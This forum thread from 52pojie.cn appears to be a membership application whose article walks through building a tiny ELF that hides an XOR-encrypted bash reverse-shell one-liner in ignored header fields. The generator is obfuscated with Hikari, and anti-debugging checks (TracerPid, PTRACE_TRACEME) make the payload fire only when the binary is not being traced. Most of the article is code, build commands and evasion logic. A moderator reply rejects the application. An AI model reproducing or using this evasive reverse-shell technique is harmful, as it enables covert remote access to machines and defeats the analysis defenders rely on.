吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 93|回复: 1
上一主题 下一主题
收起左侧

[会员申请] 申请会员ID: cpudaemonx

[复制链接]
跳转到指定楼层
楼主
吾爱游客  发表于 2026-9-10 19:15 回帖奖励 |自己
  • 申 请 I D: cpudaemonx
  • 个人邮箱: chickensbroil@protonmail.com
   3.  原创技术文章: https://codeberg.org/cpudaemon/dead-bytes-hardened


DEAD BYTES, Hardened

This is a short primer on obfuscating a minimal ELF with Hikari and hardening it
against dynamic analysis.

  1. Target: libgolf's dead-bytes

xcellerator/libgolf is a good repo purpose of which is to easily allow you to
customize fields within ELF and Program header.

It has a simple example on 01_dead_bytes, which is an ELF generator and it
writes a 126-byte ELF to disk. It shows how many fields within ELF files are
ignore by the Linux Loader. Instead of writing useless 0x58 bytes tho, you
could write a bash oneliner payload. Why? Why not lol!

The payload we will try smuggle will be:

sh -i >/dev/tcp/%s/%s 2>/dev/null 0>&1 &

This 40-byte template lives in nine ranges of the output ELF's header:
e_ident[8..15], e_version, e_shoff, e_flags,
e_shentsize/e_shnum/e_shstrndx, and two program-header fields which the loader
completely ignores so we will use them as free storage.
Saving them as raw bytes would not be wise so i just XOR'd those bytes.

There are two layers to XOR, two diff keys are being used each serving its job:

  • Compile-time key 0x5A (just as demonstration) encrypts the generator's
    own string literals ( HOST, PORT, "/bin/bash", "-c", "/proc/self/status" ) so
    they don't sit in the binary as plaintext:
#define NETKEY 0x5A
#define STRLEN(s) (sizeof(s) - 1)
#define XENC(s, i) (((i) < STRLEN(s)) ? ((unsigned char)(s)[i] ^ NETKEY) : 0)

static const unsigned char lip[16] = {
    XENC(LHOST, 0), XENC(LHOST, 1), XENC(LHOST, 2), XENC(LHOST, 3),
    XENC(LHOST, 4), XENC(LHOST, 5), XENC(LHOST, 6), XENC(LHOST, 7),
    XENC(LHOST, 8), XENC(LHOST, 9), XENC(LHOST, 10), XENC(LHOST, 11),
    XENC(LHOST, 12), XENC(LHOST, 13), XENC(LHOST, 14), XENC(LHOST, 15)
};
  • Runtime key 0x30 encrypts the reverse-shell template in the header fields. It's not a constant, it falls out of the ELF magic bytes, so the key never has to be stored:
unsigned char key = 0;
for (i = 0; i < 4; i++)
    key ^= rb[i];

The generator writes the header fields with the template already XOR'd against that runtime key:

ehdr->e_version = LE32('\x54', '\x55', '\x46', '\x1f');
ehdr->e_shoff   = LE64('\x44', '\x53', '\x40', '\x1f',
                       '\x15', '\x43', '\x1f', '\x15');
ehdr->e_flags   = LE32('\x43', '\x10', '\x02', '\x0e');

Afterwards when the binary actually runs, it reads its own bytes back,
re-derives the key from the magic and XORs each field range to rebuild the
template:

for (i = 8;  i <= 0x0F; i++) tmpl[pos++] = (char)(rb[i] ^ key);
for (i = 0x14; i <= 0x17; i++) tmpl[pos++] = (char)(rb[i] ^ key);
for (i = 0x28; i <= 0x2F; i++) tmpl[pos++] = (char)(rb[i] ^ key);
/* ... seven more ranges ... */

Rewriting libgolf64.h

Example on the github ships libgolf.h which includes multiple architectures
and that leans on libc. For this work ( for fun ) i replaced it with
libgolf64.h. This one is x86_64, no-libc variant that uses raw syscalls
directly ( the whole point of this was to keep the generator tiny and free of
anything a tracer can hook).

#define SYS_READ   0
#define SYS_OPEN   2
#define SYS_FORK  57
#define SYS_EXECVE 59
#define SYS_EXIT  60

static inline long osys(long n, long a, long b, long c)
{
    long r;
    asm volatile("syscall" : "=a"(r)
                 : "a"(n), "D"(a), "S"(b), "d"(c)
                 : "rcx", "r11", "memory");
    return r;
}

So here we do not use printf, no malloc, no libc entry point. The binary
starts at a naked _start and never touches a shared library:

__attribute__((naked, noreturn)) void _start(void)
{
    __asm__ volatile(
        "movq (%%rsp), %%rdi\n\t"
        "leaq 8(%%rsp), %%rsi\n\t"
        "andq $-16, %%rsp\n\t"
        "call run\n\t"
        "xorl %%edi, %%edi\n\t"
        "movq $60, %%rax\n\t"
        "syscall\n\t"
        "hlt\n"
        ::: "memory");
}

Everything else, such as populate_ehdr, populate_phdr, generate_elf,
format_filename is plain C in the header, assembling the 126-byte ELF by hand
and writing it out with open/write/close.

  1. Obfuscating the generator
hikari-clang -w -I. \
  -DLHOST=\"127.0.0.1\" -DLPORT=\"4444\" \
  -Os -fno-stack-protector -fomit-frame-pointer \
  -fno-pie -no-pie -DNDEBUG -nostdlib -s \
  -Wl,--gc-sections \
  -mllvm -enable-strcry -mllvm -enable-constenc \
  -mllvm -enable-subobf -mllvm -enable-cffobf \
  -mllvm -enable-splitobf -mllvm -enable-bcfobf \
  -mllvm -enable-indibran \
  -o dead_bytes_hik dead_bytes.c

I ran this however i got a segfault (exit 139) before the output ELF was
written. This leads to:

The naked _start crash

Isolating passes one at a time showed indibran was required for the crash, but
safe on its own. The failure is the combination tho: indibran plus the other
function-level passes were corrupting the naked _start. But why?

_start is declared naked, so it has no prologue. The first instruction is
movq (%rsp), %rdi straight from the inline asm. Hikari's function-level passes
don't account for that because they inject their state machinery assuming a
normal frame exists and end up trampling the entry.

The fix was to patch Hikari's scheduler to skip naked functions in all three
per-function loops:

//before
for (Function &F : M)
  if (!F.isDeclaration())
    FP->runOnFunction(F);

// after
for (Function &F : M)
  if (!F.isDeclaration() && !F.hasFnAttribute(Attribute::Naked))
    FP->runOnFunction(F);

An incremental ninja clang rebuild (only the obfuscation pass library and the
clang driver relink) is enough. After that the obfuscated generator runs and
writes a .bin byte-identical to the plain gcc build.

  1. A deeper look into the obfuscated binary

Something that's pretty obvious is that the Hikari build is so much bigger. GCC
build was ~5.5KB while Hikari build was ~89KB.

Another thing is that strings will not return anything useful because strings
are XORED at compile time and decrypted in-register before use so nothing will
be inside rodata.

Also, the control flow. A decompiler view of the generator's run() shows
the flattening signature ( something like this ):

v = 0x228;
while (1) {
    switch (v) {
    case 0x228:
        ...
        v = some_condition ? 0x9C : 0x1E4;
        break;
    case 0x9C:
        ...
        v = 0x340;
        break;
    ...
    }
}

So, the original branching is gone and what's in its place is a big dispatcher
loop, a state variable and indirect jumps. Also you may notice a bunch of
movs or adds are just state arithmetic ( thanks to bcfobf ).

Now where is this practical? Well, statically reading the XOR scheme or the
header-field smuggling out of dead_bytes_hik binary is a grind and even tho
the syscalls are all still visible in the raw trace, the logic around them (
which bytes, which key, which field ) is buried under the flattening.

  1. Anti-Analysis hardening

The /proc check

The reliable one reads kernel truth from /proc/self/status and looks at
TracerPid. If a tracer is attached, that field is the tracer's PID and if it's
not, it's 0. The path is stored XOR-encrypted like everything else:

static const unsigned char lpst[18] = {
    XENC("/proc/self/status", 0), XENC("/proc/self/status", 1),
    /*  -- through index 16 -- */
};

static int traced(void)
{
    char st[20], b[512];
    long fd, n, i;

    dec(lpst, 18, st);
    fd = osys(SYS_OPEN, (long)st, O_RDONLY, 0);
    if (fd < 0) return 1;              /* can't verify -> fail closed */
    n = rdfd(fd, b, 511);
    osys(SYS_CLOSE, fd, 0, 0);
    if (n <= 0) return 1;

    for (i = 0; i + 10 < n; i++)
        if (b[i] == 'T' && b[i+1] == 'r' && /* ...TracerPid... */ b[i+9] == ':') {
            i += 10;
            while (b[i] == ' ' || b[i] == '\t') i++;
            return b[i] != '0';
        }
    return 0;
}

Why can't strace inject fake that status check?
strace -e inject=ptrace:retval=0 is the classic bypass for a PTRACE_TRACEME
check. So what it does is that it forges the return value so the program thinks
its anti-debug syscall succeeded. But injection only rewrites syscall return
values
. It cannot rewrite the buffer the kernel fills during read().
TracerPid in /proc/self/status is kernel truth, so the check is unfakeable.

A second check, ptrace(PTRACE_TRACEME), catches a tracer that slipped in
between the /proc read and the payload. It's weaker on its own and that's
exactly what inject defeats, but it's cheap redundancy. The ordering matters
tho, TRACEME on an untraced process makes the shell your tracer, which
would self-trigger the /proc check. So /proc goes first ptrace second:

if (traced())                 /* /proc first: kernel truth */
    return 0;
if (osys(SYS_PTRACE, 0, 0, 0) < 0)   /* belt */
    return 0;

And _start gets a deterministic exit so a bailed run returns clean:

"call run\n\t"
"xorl %%edi, %%edi\n\t"   /* exit(0), no garbage rdi */
"movq $60, %%rax\n\t"
"syscall\n\t"
  1. Debugger posture

gdb is another ptrace tracer, so it dies to the same /proc check when it
launches the binary:

[Inferior 1 (process 20711) exited normally]

No payload written because the check fires before any interesting code runs.

Attaching to an already-running instance is a different story and that's because
of the fact that many distros ( the Debian/Ubuntu family ) run YAMA with
ptrace_scope=1, meaning a process can only trace its own descendants.
gdb attach and strace -p are not the process's parent, so the kernel refuses
them.

strace: attach: ptrace(PTRACE_SEIZE, ...): Operation not permitted

And that's before the payload drops.

There is also another way to stop debugging however this one requires us to have
ptrace_scope=0 or with CAP_SYS_PTRACE and that is called self-debugging:

fork() a child that PTRACE_ATTACHes the parent and that child will occupy
the single tracer slot so no one else can attach to the parent but given that
default is ptrace_scope=1 this step is not feasible.

Anyways now you have a binary that's a bit harder to RE.

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
Hmily 发表于 2026-9-11 14:56
2、申请会员技术文章可以包括病毒分析、软件分析、脱壳破解、内核分析、编程代码、软件汉化等等,但不能只通过一个成品文件来申请,或者只贴地址将不予通过,必须提交实际的申请技术文章,并且文章禁止使用AI参与


申请不通过。

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-9-16 07:03

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表